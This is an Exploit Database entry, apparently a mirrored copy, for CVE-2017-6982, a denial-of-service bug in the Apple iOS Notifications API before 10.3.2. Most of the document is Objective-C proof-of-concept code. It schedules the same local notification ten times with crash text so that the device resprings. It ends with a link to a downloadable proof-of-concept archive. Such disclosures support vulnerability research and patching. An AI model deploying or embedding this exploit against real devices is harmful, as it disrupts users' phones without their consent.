Apple iOS < 10.3.2 - Notifications API Denial of Service

• Exploit Database
• 14 阅读

• 作者： CoffeeBreakers
  日期： 2017-05-17
• 类别：

  • dos
  平台：

  • ios
• 来源：https://www.exploit-db.com/exploits/42014/

• # Exploit Title: Apple iOS < 10.3.2 - Notifications API Denial of Service
  # Date: 05-15-2017
  # Exploit Author: Sem Voigtländer (@OxFEEDFACE), Vincent Desmurs (@vincedes3) and Joseph Shenton
  # Vendor Homepage: https://apple.com
  # Software Link: https://support.apple.com/en-us/HT207798
  # Version: iOS 10.3.2
  # Tested on: iOS 10.3.2 iPhone 6
  # CVE : CVE-2017-6982
  
  # We do not disclose a PoC for remote notifications.
  # PoC for local notifications. (Objective-C).
  
  
  defaults = [NSUserDefaults standardUserDefaults];
  UIUserNotificationType types = UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert;
  UIUserNotificationSettings *mySettings = [UIUserNotificationSettings settingsForTypes:types categories:nil];
  [[UIApplication sharedApplication] registerUserNotificationSettings:mySettings];
  
  //1
  [defaults setBool:YES forKey:@"notificationIsActive"];
  [defaults synchronize];
  
  NSTimeInterval interval;
  interval = 5; //Time here in second to respring
  UILocalNotification* localNotification = [[UILocalNotification alloc] init];
  localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
  localNotification.alertBody = _crashtext.text;
  localNotification.timeZone = [NSTimeZone defaultTimeZone];
  localNotification.repeatInterval = NSCalendarUnitYear;
  localNotification.soundName = UILocalNotificationDefaultSoundName;
  [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
  
  //2
  [defaults setBool:YES forKey:@"notificationIsActive"];
  [defaults synchronize];
  interval = 5;
  localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
  localNotification.alertBody = _crashtext.text;
  localNotification.timeZone = [NSTimeZone defaultTimeZone];
  localNotification.repeatInterval = NSCalendarUnitYear;
  localNotification.soundName = UILocalNotificationDefaultSoundName;
  [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
  
  //3
  [defaults setBool:YES forKey:@"notificationIsActive"];
  [defaults synchronize];
  interval = 5;
  localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
  localNotification.alertBody = _crashtext.text;
  localNotification.timeZone = [NSTimeZone defaultTimeZone];
  localNotification.repeatInterval = NSCalendarUnitYear;
  localNotification.soundName = UILocalNotificationDefaultSoundName;
  [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
  
  //4
  [defaults setBool:YES forKey:@"notificationIsActive"];
  [defaults synchronize];
  interval = 5;
  localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
  localNotification.alertBody = _crashtext.text;
  localNotification.timeZone = [NSTimeZone defaultTimeZone];
  localNotification.repeatInterval = NSCalendarUnitYear;
  localNotification.soundName = UILocalNotificationDefaultSoundName;
  [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
  
  //5
  [defaults setBool:YES forKey:@"notificationIsActive"];
  [defaults synchronize];
  interval = 5;
  localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
  localNotification.alertBody = _crashtext.text;
  localNotification.timeZone = [NSTimeZone defaultTimeZone];
  localNotification.repeatInterval = NSCalendarUnitYear;
  localNotification.soundName = UILocalNotificationDefaultSoundName;
  [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
  
  //6
  [defaults setBool:YES forKey:@"notificationIsActive"];
  [defaults synchronize];
  interval = 5;
  localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
  localNotification.alertBody = _crashtext.text;
  localNotification.timeZone = [NSTimeZone defaultTimeZone];
  localNotification.repeatInterval = NSCalendarUnitYear;
  localNotification.soundName = UILocalNotificationDefaultSoundName;
  [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
  
  //7
  [defaults setBool:YES forKey:@"notificationIsActive"];
  [defaults synchronize];
  interval = 5;
  localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
  localNotification.alertBody = _crashtext.text;
  localNotification.timeZone = [NSTimeZone defaultTimeZone];
  localNotification.repeatInterval = NSCalendarUnitYear;
  localNotification.soundName = UILocalNotificationDefaultSoundName;
  [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
  
  //8
  [defaults setBool:YES forKey:@"notificationIsActive"];
  [defaults synchronize];
  interval = 5;
  localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
  localNotification.alertBody = _crashtext.text;
  localNotification.timeZone = [NSTimeZone defaultTimeZone];
  localNotification.repeatInterval = NSCalendarUnitYear;
  localNotification.soundName = UILocalNotificationDefaultSoundName;
  [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
  
  //9
  [defaults setBool:YES forKey:@"notificationIsActive"];
  [defaults synchronize];
  interval = 5;
  localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
  localNotification.alertBody = _crashtext.text;
  localNotification.timeZone = [NSTimeZone defaultTimeZone];
  localNotification.repeatInterval = NSCalendarUnitYear;
  localNotification.soundName = UILocalNotificationDefaultSoundName;
  [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
  
  //10
  [defaults setBool:YES forKey:@"notificationIsActive"];
  [defaults synchronize];
  interval = 5;
  localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
  localNotification.alertBody = _crashtext.text;
  localNotification.timeZone = [NSTimeZone defaultTimeZone];
  localNotification.repeatInterval = NSCalendarUnitYear;
  localNotification.soundName = UILocalNotificationDefaultSoundName;
  [[UIApplication sharedApplication] scheduleLocalNotification:localNotification];
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42014.zip